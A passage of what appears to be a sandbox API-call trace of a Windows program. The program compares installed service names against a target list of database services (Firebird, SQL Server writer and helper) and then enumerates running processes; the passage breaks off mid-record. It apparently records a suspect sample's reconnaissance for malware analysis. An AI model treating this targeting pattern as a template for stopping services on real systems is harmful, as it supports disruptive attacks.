lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0278.031] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0278.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0278.031] lstrlenW (lpString="LanmanServer") returned 12 [0278.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0278.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0278.032] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0278.032] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0278.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0278.032] lstrlenW (lpString="LanmanWorkstation") returned 17 [0278.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0278.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0278.032] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0278.032] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0278.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0278.032] lstrlenW (lpString="lfsvc") returned 5 [0278.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0278.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0278.032] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0278.032] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0278.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0278.032] lstrlenW (lpString="lmhosts") returned 7 [0278.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0278.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0278.032] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0278.032] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0278.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0278.032] lstrlenW (lpString="LSM") returned 3 [0278.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0278.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0278.032] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0278.032] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0278.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0278.033] lstrlenW (lpString="MpsSvc") returned 6 [0278.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0278.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0278.033] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0278.033] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0278.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0278.033] lstrlenW (lpString="NcbService") returned 10 [0278.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0278.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0278.033] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0278.033] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0278.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0278.033] lstrlenW (lpString="netprofm") returned 8 [0278.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0278.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0278.033] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0278.033] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0278.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0278.033] lstrlenW (lpString="NgcSvc") returned 6 [0278.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0278.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0278.033] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0278.033] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0278.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0278.033] lstrlenW (lpString="NlaSvc") returned 6 [0278.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0278.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0278.033] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0278.034] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0278.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0278.034] lstrlenW (lpString="nsi") returned 3 [0278.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0278.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0278.034] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0278.034] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0278.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0278.034] lstrlenW (lpString="PcaSvc") returned 6 [0278.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0278.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0278.034] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0278.034] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0278.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0278.034] lstrlenW (lpString="PlugPlay") returned 8 [0278.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0278.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0278.034] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0278.034] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0278.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0278.034] lstrlenW (lpString="Power") returned 5 [0278.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0278.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0278.034] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0278.034] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0278.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0278.035] lstrlenW (lpString="ProfSvc") returned 7 [0278.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0278.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0278.035] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0278.035] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0278.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0278.035] lstrlenW (lpString="RpcEptMapper") returned 12 [0278.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0278.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0278.035] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0278.035] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0278.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0278.035] lstrlenW (lpString="RpcSs") returned 5 [0278.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0278.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0278.035] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0278.035] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0278.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0278.035] lstrlenW (lpString="SamSs") returned 5 [0278.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0278.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0278.035] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0278.035] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0278.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0278.035] lstrlenW (lpString="Schedule") returned 8 [0278.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0278.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0278.036] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0278.036] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0278.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0278.036] lstrlenW (lpString="SecurityHealthService") returned 21 [0278.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0278.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0278.036] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0278.036] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0278.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0278.036] lstrlenW (lpString="SENS") returned 4 [0278.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0278.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0278.036] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0278.036] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0278.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0278.036] lstrlenW (lpString="ShellHWDetection") returned 16 [0278.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0278.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0278.036] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0278.036] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0278.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0278.036] lstrlenW (lpString="Spooler") returned 7 [0278.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0278.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0278.036] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0278.036] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0278.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0278.036] lstrlenW (lpString="SSDPSRV") returned 7 [0278.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0278.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0278.037] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0278.037] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0278.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0278.037] lstrlenW (lpString="StateRepository") returned 15 [0278.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0278.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0278.037] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0278.037] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0278.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0278.037] lstrlenW (lpString="SysMain") returned 7 [0278.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0278.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0278.037] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0278.037] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0278.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0278.037] lstrlenW (lpString="SystemEventsBroker") returned 18 [0278.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0278.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0278.037] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0278.037] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0278.037] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5081068 | out: hHeap=0x670000) returned 1 [0278.037] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0278.044] Process32FirstW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.044] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0278.045] lstrlenW (lpString="System") returned 6 [0278.045] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0278.045] lstrlenW (lpString="smss.exe") returned 8 [0278.045] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.046] lstrlenW (lpString="csrss.exe") returned 9 [0278.046] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0278.046] lstrlenW (lpString="wininit.exe") returned 11 [0278.046] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.049] lstrlenW (lpString="csrss.exe") returned 9 [0278.049] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0278.050] lstrlenW (lpString="winlogon.exe") returned 12 [0278.050] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0278.050] lstrlenW (lpString="services.exe") returned 12 [0278.050] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0278.051] lstrlenW (lpString="lsass.exe") returned 9 [0278.051] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0278.051] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0278.051] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0278.053] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0278.053] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.053] lstrlenW (lpString="svchost.exe") returned 11 [0278.053] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.054] lstrlenW (lpString="svchost.exe") returned 11 [0278.054] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0278.054] lstrlenW (lpString="dwm.exe") returned 7 [0278.054] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.055] lstrlenW (lpString="svchost.exe") returned 11 [0278.055] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.056] lstrlenW (lpString="svchost.exe") returned 11 [0278.056] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.056] lstrlenW (lpString="svchost.exe") returned 11 [0278.056] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.057] lstrlenW (lpString="svchost.exe") returned 11 [0278.057] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.057] lstrlenW (lpString="svchost.exe") returned 11 [0278.057] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.058] lstrlenW (lpString="svchost.exe") returned 11 [0278.058] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.058] lstrlenW (lpString="svchost.exe") returned 11 [0278.058] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.059] lstrlenW (lpString="svchost.exe") returned 11 [0278.059] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.059] lstrlenW (lpString="svchost.exe") returned 11 [0278.060] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.060] lstrlenW (lpString="svchost.exe") returned 11 [0278.060] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0278.061] lstrlenW (lpString="spoolsv.exe") returned 11 [0278.061] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.061] lstrlenW (lpString="svchost.exe") returned 11 [0278.061] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0278.062] lstrlenW (lpString="audiodg.exe") returned 11 [0278.062] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0278.063] lstrlenW (lpString="sihost.exe") returned 10 [0278.063] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.063] lstrlenW (lpString="svchost.exe") returned 11 [0278.063] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0278.064] lstrlenW (lpString="taskhostw.exe") returned 13 [0278.064] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0278.065] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0278.065] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0278.065] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0278.065] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0278.066] lstrlenW (lpString="Memory Compression") returned 18 [0278.066] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0278.066] lstrlenW (lpString="explorer.exe") returned 12 [0278.066] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0278.067] lstrlenW (lpString="SearchUI.exe") returned 12 [0278.067] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0278.067] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0278.067] Process32NextW (in: hSnapshot=0x2f8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, 